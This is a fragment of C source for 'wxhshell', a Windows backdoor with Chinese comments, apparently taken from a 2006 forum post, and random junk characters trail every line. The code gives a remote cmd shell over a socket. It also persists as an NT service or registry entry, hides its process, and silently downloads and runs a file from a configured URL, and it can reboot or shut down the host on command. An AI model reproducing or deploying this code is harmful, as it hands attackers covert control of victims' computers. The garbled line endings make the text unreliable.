    switch(cmd[0]) { C#5z!z/:%  
  C?Sy90f  
  // 帮助 ]< 0|"NL  
  case '?': { t._W643~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <tEN1i  
    break; hr8v O"tZN  
  } |WiK*  
  // 安装 Xm7Nr#  
  case 'i': { \pzqUTk  
    if(Install()) CapWn~*g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W*hRYgaX3  
    else c%uX+\-$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `]^JOw5o  
    break; N'fE^jqU  
    } Os?`!1-  
  // 卸载 r lalr+Rf  
  case 'r': { HNA/LJl[VU  
    if(Uninstall()) su}> >07  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^- U|~,  
    else gE/O29Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e+z_Rj%Y;I  
    break; G<C[A  
    } 4Lx#5}P  
  // 显示 wxhshell 所在路径 `N~;X~XFk  
  case 'p': { npH2&6Yhi^  
    char svExeFile[MAX_PATH]; uvK1gJrA)  
    strcpy(svExeFile,"\n\r"); "8Ud&o  
      strcat(svExeFile,ExeFile); Cwxy ~.mI  
        send(wsh,svExeFile,strlen(svExeFile),0); F6gboo)SD  
    break; Q0f7gY1-%  
    } i#t)tM"  
  // 重启 -E4e8'P;5  
  case 'b': { 1/Pou)D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \c&%F=1+*  
    if(Boot(REBOOT)) ?hh 4M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g4WN+y`  
    else { ZB'/DO=i  
    closesocket(wsh); .`84Y  
    ExitThread(0); Z-RgN  
    } aClXg-  
    break; n"dC]&G'  
    } 'H<0:bQ=I  
  // 关机 D7b<&D@  
  case 'd': { \v7M`! &  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6@-VLO))O  
    if(Boot(SHUTDOWN)) Y!LcS48X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d v@B-l;  
    else { g_G'%{T7  
    closesocket(wsh); 2*6b{}yJH  
    ExitThread(0); /jQW4eW0  
    }  ZqQJFyV*  
    break; I| qoHN,g  
    } dnVl;L8L3  
  // 获取shell @, D 3$P8}  
  case 's': { )W!8,e+%  
    CmdShell(wsh); 8[SiIuIV  
    closesocket(wsh); [kx_Izi/T  
    ExitThread(0); 2T &<jt  
    break; 4tTK5`7N  
  } PsTPGK#S  
  // 退出 +(iM]L$Fw%  
  case 'x': { HTK79 +  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TY[1jW~{r  
    CloseIt(wsh); g&y'#,'Q~,  
    break; )6#dxb9  
    } e%w>QN`  
  // 离开 ~y%8uHL:  
  case 'q': { KH)(xB=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XUmL8  
    closesocket(wsh); %  (R10G  
    WSACleanup(); {O,D9<  
    exit(1); wSHE~Xx  
    break; )A9K9pZj  
        } D.H$4[u;j  
  } wt4uzg8  
  } |;o#-YosP  
rxu 6 #v F  
  // 提示信息 >s}b q#x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a;J{'PHu  
} 5 T1M:~u i  
  } Q}~of}h/  
%j%}iM/(<  
  return; =.,]}  
} >cEc##:5  
]w.:K*_=  
// shell模块句柄 4]jN@@  
int CmdShell(SOCKET sock) 6'UtB!gr  
{ $E@L{5Yt  
STARTUPINFO si; 60P^aj$V  
ZeroMemory(&si,sizeof(si)); \x i wp.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ooY2"\o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kVk^?F  
PROCESS_INFORMATION ProcessInfo; 5K13    
char cmdline[]="cmd"; 8Czy<}S<G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;hi+.ng_  
  return 0; #/zPAcV:  
}  &o$E1;og  
euO!+9p  
// 自身启动模式 Hzs]\%"  
int StartFromService(void) |><hdBQXX<  
{ a<l(zJptG  
typedef struct qt5CoxeJ  
{ O7|0t\)  
  DWORD ExitStatus; Kl<qp7o0  
  DWORD PebBaseAddress; :9N~wd  
  DWORD AffinityMask; {7 &(2Z]z  
  DWORD BasePriority; v]|^.x:  
  ULONG UniqueProcessId; 9E^IEwq'  
  ULONG InheritedFromUniqueProcessId; `f`\j -Lu  
}   PROCESS_BASIC_INFORMATION; lj $\2 B  
[OBj2=  
PROCNTQSIP NtQueryInformationProcess; 1TbY,3W  
L@Fw;G|%'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cdl#LVqs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %1fH-:c=C0  
|LA./%U  
  HANDLE             hProcess; xoI;s}*E  
  PROCESS_BASIC_INFORMATION pbi; [{e[3b*M|  
&/*XA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;:Q 5?zM  
  if(NULL == hInst ) return 0; PLR[nB7K  
E+Z//)1Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v# ab2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;Pik},  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l-4T Tg  
PV vNu5k  
  if (!NtQueryInformationProcess) return 0; '"LrGvkZ  
bFk >IifN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j(mbUB*  
  if(!hProcess) return 0; `#B|l+baq  
$},Y)"mI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .C(Ir  
~TwjcI*/  
  CloseHandle(hProcess); kFmd):U!R  
PeGL Rbx34  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )K.~A&y@  
if(hProcess==NULL) return 0; @.ebQR-:H  
v'0A$`w`  
HMODULE hMod; Ovh  
char procName[255]; z?`&HU Nf  
unsigned long cbNeeded; >oi`%V  
\G}EI|Wo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T8E=}!68w}  
uTGd{w@]0|  
  CloseHandle(hProcess); 1P(rgn:8e  
rLO1Sv  
if(strstr(procName,"services")) return 1; // 以服务启动 wjW>#DE  
so}(*E&(a  
  return 0; // 注册表启动 6j{9\ R  
} pMM,ox"  
?_q e 2R.  
// 主模块 `oP :F[B  
int StartWxhshell(LPSTR lpCmdLine) ?#"rI6  
{ L A-H  
  SOCKET wsl; |f1 S&b.  
BOOL val=TRUE; WGFp<R  
  int port=0; {pMbkA Q@  
  struct sockaddr_in door; hI*gw3V  
@~% R%Vu  
  if(wscfg.ws_autoins) Install(); 9,\b$?9  
|D<J9+  
port=atoi(lpCmdLine); ~*RG|4#  
Br.$:g#  
if(port<=0) port=wscfg.ws_port; hN*,]Z{  
5Z/xY &  
  WSADATA data; 89T xd9X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XB*)d 9'8  
|?{3&'`J8w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IiTV*azVh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >aXyi3B  
  door.sin_family = AF_INET; p\OUxAm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h<2o5c|  
  door.sin_port = htons(port); x`K<z J   
"&*O7cs$pA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SskvxH+7  
closesocket(wsl); f*KNt_|:  
return 1; [:<CgU9C  
} 9}4P%>_  
yq+'O&+   
  if(listen(wsl,2) == INVALID_SOCKET) { h`n,:Y^++P  
closesocket(wsl); >+y[HTf-  
return 1; p>Dv&fX  
} 9qS~-'&q#  
  Wxhshell(wsl); }&A!h  
  WSACleanup(); $5kb3x<W  
DXu915  
return 0; FrBoE#  
6lw)L  
} Q qGf*  
.%;`: dtj  
// 以NT服务方式启动 - ;1'{v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?145^ w  
{ ;sd[Q01  
DWORD   status = 0; Z.6M~  
  DWORD   specificError = 0xfffffff; !$N^Ak5#  
{`,dWjy{%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _/Ky;p.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xkc y~e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +bpUb0.W  
  serviceStatus.dwWin32ExitCode     = 0; D/QSC]"  
  serviceStatus.dwServiceSpecificExitCode = 0;  >d-By  
  serviceStatus.dwCheckPoint       = 0; .vsrZ_y?  
  serviceStatus.dwWaitHint       = 0; J'c]':U  
u6^cLQO+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jp=z ^l  
  if (hServiceStatusHandle==0) return; F]]1>w*/0  
xUl=N   
status = GetLastError(); ?WPuTPw{  
  if (status!=NO_ERROR) )H@"S]?7i"  
{ Vb^P{F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2noKy}q  
    serviceStatus.dwCheckPoint       = 0; -7E)u  
    serviceStatus.dwWaitHint       = 0; zOJ4I^^  
    serviceStatus.dwWin32ExitCode     = status; KMC]<  
    serviceStatus.dwServiceSpecificExitCode = specificError; rTTde^^_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iAD'MB  
    return; 6.%M:j0 0E  
  } Xg+Eeg#  
kI7c22OJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'J\nvNm  
  serviceStatus.dwCheckPoint       = 0; Fy:CG6@X  
  serviceStatus.dwWaitHint       = 0; |a9d]^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QOXG:?v\  
} "Bl ]_YPv  
|R$V[  
// 处理NT服务事件,比如:启动、停止 r}351S5(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FW* k O  
{ =rSJ6'2("  
switch(fdwControl) SFhi]48&V  
{ |@'/F#T  
case SERVICE_CONTROL_STOP:  I/YBL  
  serviceStatus.dwWin32ExitCode = 0; 8@;|x2=y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k1Z"Qmz  
  serviceStatus.dwCheckPoint   = 0; f_A'.oq+  
  serviceStatus.dwWaitHint     = 0; C \"nlNKw  
  { )F _vWbg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WUOoK$I~K  
  } A^lJlr:_`  
  return; .*FBr7rE\  
case SERVICE_CONTROL_PAUSE: 6ub-NtVu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  NGQBOV  
  break; A|jmp~@K)+  
case SERVICE_CONTROL_CONTINUE: XC 44]o4jx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '-9B`O,&  
  break; #snwRW>=[  
case SERVICE_CONTROL_INTERROGATE: Xwz9E!m  
  break; F}9!k LR  
}; S-x'nu$u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *}fs@"S   
} bY` b3  
& Xh8j^p'  
// 标准应用程序主函数 bloe|o!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h8 Wv t's  
{ ^a+W!  
MnToL@  
// 获取操作系统版本 F)fCj^ zL  
OsIsNt=GetOsVer(); _:dt8+T#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =QdHji/sB  
RRSkXDU}  
  // 从命令行安装 W5 l)mAv  
  if(strpbrk(lpCmdLine,"iI")) Install(); iczJXA+  
vNdMPulr{  
  // 下载执行文件 <'(O0  
if(wscfg.ws_downexe) { ~x67v+I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $z1W0  
  WinExec(wscfg.ws_filenam,SW_HIDE); sKE7U>mz|  
} GJTKqr|1O  
(]c M ;  
if(!OsIsNt) { VtM:~|v  
// 如果时win9x,隐藏进程并且设置为注册表启动 )|52B;yZx  
HideProc(); GFA D  
StartWxhshell(lpCmdLine); Mw{0A\6  
} @34Z/%A  
else !+bLh W`  
  if(StartFromService()) m .:2G  
  // 以服务方式启动 h\qQ%|X  
  StartServiceCtrlDispatcher(DispatchTable); Cu2eMUGt  
else qH 1k  
  // 普通方式启动 a4a/]q4T  
  StartWxhshell(lpCmdLine); <]: X  
,[gu7z^|  
return 0; %IAZU c  
}
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只看该作者 1 发表于: 2006-10-10
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